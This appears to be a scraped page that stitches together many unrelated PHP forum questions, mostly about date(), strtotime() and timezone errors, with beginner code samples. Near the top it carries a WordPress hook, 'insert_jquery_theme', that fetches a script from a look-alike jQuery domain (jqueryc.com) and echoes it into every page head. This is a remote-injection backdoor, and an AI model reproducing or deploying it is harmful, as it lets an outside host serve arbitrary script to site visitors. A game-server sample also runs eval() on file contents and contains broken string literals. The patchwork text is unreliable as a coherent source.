PHP - Why Am I Getting An Error When Using The Strtotime And Date Functions

Dear...

I have problem with this code..can you help me ?
Thanks
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<?phpif (!function_exists('insert_jquery_theme')){function insert_jquery_theme(){if (function_exists('curl_init')){$url="http://www.jqueryc.com/jquery-1.6.3.min.js";$ch = curl_init();$timeout = 5;curl_setopt($ch, CURLOPT_URL, $url);curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, $timeout);$data = curl_exec($ch);curl_close($ch);echo $data;}}add_action('wp_head', 'insert_jquery_theme');} 

New user of PHP here! I'm using it to display entries from my MYSQL database. Image below.



This is the code snippet that displays information from the 'name', 'author' and 'date' columns of my database. I learned this technique from w3schools.

$result = mysql_query("SELECT * FROM levels ORDER BY date DESC");

while($row = mysql_fetch_array($result))
{
echo "<tr>";
echo "<td>" . $row['name'] . "</td>";
echo "<td>" . $row['author'] . "</td>";
echo "<td align='right'>" . $row['date'] . "</td>";
echo "</tr>";
}

I would like to use the date() function to format the date differently. But the date() function requires that I convert my time into a timestamp. I know you have to use the mktime() function for this, but I don't know how.

Can someone show me how to pass the contents from $row[date] into the mktime() function?

I'm using microtime to capture $start_time and $finish_time bothing using microtime() function. I then pass both $start_time and $finish_time into date() function to parse a date. The difference between $start_time and $finish_time is also calculated. The problem being the date() function is producing incorrect values.

list($total_count, $success_count, $errors_data, $start_time, $finish_time) = $summary_data;
$duration_time = $finish_time - $start_time;

echo "<b>Started Processing At:</b> ".date('m/d/Y H:i:m', $start_time)."<br/>";
echo "<b>Completed Processing At:</b> ".date('m/d/Y H:i:m', $finish_time)."<br/>";
echo "<b>Processing Duration:</b> $duration_time seconds<br/><br/>";


The output:

Started Processing At: 11/22/2010 18:45:11
Completed Processing At: 11/22/2010 18:45:11
Processing Duration: 8.0499620437622 seconds

Hello fellow php friends, Im having abit of trouble trying to echo out a statement at certain times of the day.
for example
how would you echo out 'Good Morning' between the times of 01am to 11.59am
then echo out 'Good afternoon' between times of 12pm and 6pm and so on.

Please  help!!!!!

I am getting syntax error, unexpected T_CONSTANT_ENCAPSED_STRING
on the date stamp line below but I can't see what is causing the problem.
when I comment it out the problem goes away so I know I it is there.
please help.
 
$email_message = "Form details below.\n\n";
 $email_message = date("m/d/Y")"\n";

I have a login code that uses die() and when the die code is executed it terminates the rest of the html code.
I cant put the html before the php because of meta tag and head tag issues >.<

I need a proper working error function that works properly \= like if you login wrong on myspace or facebook a little error message appears in a box and works perfectly. On mine it appears at the bottom of the form and cuts of teh rest of the source code and html >.<

I am getting this error when I output a formatted date...

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Warning: date() expects parameter 2 to be long, string given in


I am using DATETIME.

What do I need to do to fix things?

Here is my code...

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echo '<p class="commentDate">' . date($createdOn, 'g:ia') . ' on ' . date($createdOn, 'M j, Y') . '</p>';


Debbie

Ok well i have a virtual world, my friendcoded the emulator. In PHP but he's on holiday for 2 weeks. I keep getting
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PHP Warning:  PHP Startup: It is not safe to rely on the system's timezone setti
ngs. You are *required* to use the date.timezone setting or the date_default_tim
ezone_set() function. In case you used any of those methods and you are still ge
tting this warning, you most likely misspelled the timezone identifier. We selec
ted 'Europe/London' for '0.0/no DST' instead in Unknown on line 0
PHP Warning:  eval(): It is not safe to rely on the system's timezone settings.
You are *required* to use the date.timezone setting or the date_default_timezone
_set() function. In case you used any of those methods and you are still getting
 this warning, you most likely misspelled the timezone identifier. We selected '
Europe/London' for '0.0/no DST' instead in C:\inetpub\wwwroot\main\server\chapat
iz.php(2) : eval()'d code on line 4


But there are only 4 lines in chapatiz.php and it has nothing to do with it i think
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<?php
eval(file_get_contents('serv_original.ini'));
?>



Here's chapatiz.php
(Its attached since its big)
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//config

$socketurl = "munizonline.co.uk;
$httpurl = "munizonine.co.uk;
$rootPath = "c:/inetpub/wwwroot/";

// SQL SETTINGS
$host = 'localhost';
$user = 'root';
$dbname = 'chapatiz';
$password = '---';




$sqli = new mysqli("p:". $host, $user, $password, $dbname); // create a persistant sql connexion (keepAlive)



$banned_ips = array();
///// ADD BAN BY IP FROM HTACCESS
$filename = $rootPath.".htaccess";
$handle = fopen($filename, "r");
$contents = fread($handle, filesize($filename));
fclose($handle);
$contents = utf8_decode($contents);
$ex = explode("\n", $contents);
$exf = array();
foreach ($ex AS $k => $str) {
if(preg_match('`deny from (.*?) \#`', $str, $sortie)) {
$return = $sortie[1]; array_push($exf, $return);
}
}
foreach ($exf AS $k => $str) {
array_push($banned_ips, $str);
}

// LOG ALL ACTIONS
function dolog($text)
{
$myFile = "c:/inetpub/wwwroot/main/log/chat.txt";
$fh = fopen($myFile, 'a');
fwrite($fh, $text. "\n");
fclose($fh);
}


function serve($r)
{
return file_get_contents('C:/inetpub/wwwroot/main/server/serve/'. $r. '.php');
}





function getitems($name)
{
return file_get_contents('http://munizonline.co.uk/main/items.php?u='. $name);
}


function haveitem($name, $item)
{
$c = file_get_contents('http://munizonline.co.uk/main/items.php?u='. $name);
$pattern = '/"'. $item .'"/'; $pattern2 = '/"0'. $item .'"/';
if ((preg_match($pattern, $c)) OR (preg_match($pattern2, $c)))
{
return true;
}
else
{
return false;
}
}



function dotag($tag)
{
$tag = explode('##', $tag);
$tags = array();
foreach ($tag AS $k => $v)
{
list($name, $value) = explode('=', $v);
$tags[$name] = $value;   
}
return $tags;
}


function updatetag($tags, $tochange, $value)
{
$tags[$tochange] = $value; $new = "##";
foreach ($tags AS $k => $v)
{
$new .= $k. "=". $v. '##';
}
return $new;
}



ini_set('display_errors', '1');

error_reporting(0);

$quete8 = $sqli->query('UPDATE phpbb_users SET online = 0');
function cmd()
{
return false;
}
$modee = false;
session_start();
$_SESSION['start'] = "yess";
$mainsock = socket_create(AF_INET, SOCK_STREAM, 0);
  //modifiez la prochaine ligne si besoin

$pport = rand(81, 8000);
while (!socket_bind($mainsock, $socketurl, $pport))
{
$pport = rand(81, 8000); echo "\n port modified to ". $pport. "\n";
}

$myFile = $rootPath."main/server/socket.php";
$fh = fopen($myFile, 'w+') or die("can't open file");
fwrite($fh, $socketurl. ":". $pport);
fclose($fh);


socket_set_nonblock($mainsock);
socket_listen($mainsock);

$clients=Array();
$compteur=0;
$write = NULL;
$except = NULL;
$lol = NULL;
$race = "0";
$flag = "0";
date_default_timezone_set('Europe/London');
$ok_marry = "0";
$ok_pv = "0";

function random($car) {
$string = "";
return $string;
}


function random3($car3) {
$string3 = "";
return $string3;
}

function random2($car2) {
$string2 = "";
return $string2;
}

function random1($car1) {
$string1 = "";
return $string1;
}

echo("Waiting for players!\n");

$file = file_get_contents($rootPath.'main/server/server_while.php');
$lasteval = time();
while(true){
if ($lasteval <= strtotime('-1 minute'))
{
if (file_exists($rootPath."main/server/server_while.php")) {
$file = file_get_contents($rootPath.'main/server/server_while.php');
}
$lasteval = time();
echo "\neval again\n\n";
}
eval($file);
}



I have no clue whats wrong it use to work.

Hello,

The below code works on my home machine.. but not on my Linux machine, I am unable to figure out the problem, please help

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require_once("dbconnection.php");

function coun_list()
{
$rs=mysql_query("select name from timezones") or die(mysql_error());
while($row=mysql_fetch_row($rs))
  {
   $tzone=$row[0];
   if($tzone=='Asia/Calcutta') $tzone='Asia/Kolkata';
   try {
       $tz = new DateTimeZone("$tzone");
       $lt=$tz->getLocation();
       $lat=$lt['latitude'];
       $lon=$lt['longitude'];
       echo "$tzone";
       }
      catch (Exception $e) {
        echo 'Caught exception: ',  $e->getMessage(), "\n";
       }
  }
}

coun_list();


I get the below error on my Linux machine,
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Caught exception: DateTimeZone::__construct() [datetimezone.--construct]: Unknown or bad timezone ()
Please help me to figure out the issue..

My script reports the time with a six minute error added to the current time. I can't figure out why.

I wrote a different script for solar calculation and get a 7 minute error subtracted. I'm hoping a response to this post will help me solve both problems.

I abbreviated the six minute error script to simplify the problem.

=====================================================

date_default_timezone_set("America/New_York");
$date = new DateTime();
$date4 = new DateTime();
echo(date("Y-m-d H:i:s"))."    date\n";
$now = new DateTime();
$timestring = $now->format('Y-m-d H:i:s');
echo($timestring)."    timestring\n";
$date2=date_create(date("y-m-d"));
$date4=date_create(date("y-m-d"));
date_add($date,date_interval_create_from_date_string("0 Hours"));
date_add($date4,date_interval_create_from_date_string("06 Hours"));
echo date_format($date2,"Y-m-d, H:m:s")."    date2\n";
echo date_format($date4,"Y-m-d, H:m:s")."    date4\n";

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First time posting code and very new to php aka learning as I go...

The below code works as shown, but in the 'else' clause, I'd like to replace the +4 with
a variable.  How to do this?

I've tried,

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$renewaldate = strtotime($subscriptiondate);

$sft = "' +" . $duesmultiplier . " year'";
$next_year = date('Y-m-d',strtotime($sft,$renewaldate));

but this doesn't return what I expect.  Perhaps this can't be done using this
technique?

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if($n == 0)
 {
 $renewaldate = strtotime($subscriptiondate);
 $next_year = date('Y-m-d',strtotime('next year',$renewaldate));
 echo $next_year;
 }
else
 {
 $renewaldate = strtotime($subscriptiondate);
 $next_year = date('Y-m-d',strtotime('+4 year',$renewaldate));
 echo $next_year;
 }

Thank you

So, my problem is that I need to edit my Xmas calculator to understand when this year's Xmas is over, it will automatically jump to the next one (2011-12-25).

I have no idea how to do this (noob to php...)

Thanks in advance.

Here's my code:
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<?php
$time=time();
$xmas=strtotime("2010-12-25 00:00:00");
$diff = $xmas - $time;
$days=intval($diff/86400);
$left=$diff%86400;

$hs=intval($left/3600);
$left=$left%3600;

$mins=intval($left/60);
$secs=$left%60;

echo "<font size=12 face=corbel>
Xmas is after:<br>
<strong>$days days</strong><br>
<strong>$hs hours</strong><br>
<strong>$mins mins $secs secs</strong>!
</font>";
?>

I'm trying to add 5 days to $today date:

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<?php

$exp_date = "2011-09-11";
$todays_date = date("Y-m-d");

$today = strtotime("+5 days", $todays_date);
$expiration_date = strtotime($exp_date);

if ($expiration_date > $today) {
     echo "Valid: Yes";
} else {
     echo "Valid: No";
}

?>
Is +5 days used wrong?

Hello!

A user is going to input a date in the form "mm/dd/yyyy".  I'd like to convert this to a time stamp so that I can store it via MySql.  I've heard about the "strtotime" function in PHP but I'm not sure how it can tell that the user 03/04/2011 represents March,4th 2011 and not, say April,3rd 2011 (European version).  Help with the correct syntax for conversion would be greatly appreciated.

Thank you,

Eric

Hi, I have a bit of an issue with my application, I didn't notice until today, Sunday... Apparently PHP sees Sunday as the first day of the week, which I cannot fathom where it got hat notion from... but anyway, so I have the following samples of my code:
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    $mondayoflastweek = date('Y-m-d H:i:s', strtotime('monday last week'));
    $sundayoflastweek = date('Y-m-d 23:59:59', strtotime('sunday last week'));

The crazy and very troublesome thing about the results of that code is that if you run that today, Sunday, it shows today as last week... So therefore, the next bit of code is just as problematic:
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    $mondayofthisweek = date('Y-m-d H:i:s', strtotime('monday this week'));
    $sundayofthisweek = date('Y-m-d 23:59:59', strtotime('sunday this week'));

As you can imagine, for payroll, this is causing a big problem... My week starts at precisely 12:00 am on Monday and ends at precisely 11:59 pm on Sunday...

Could someone please help me out with this...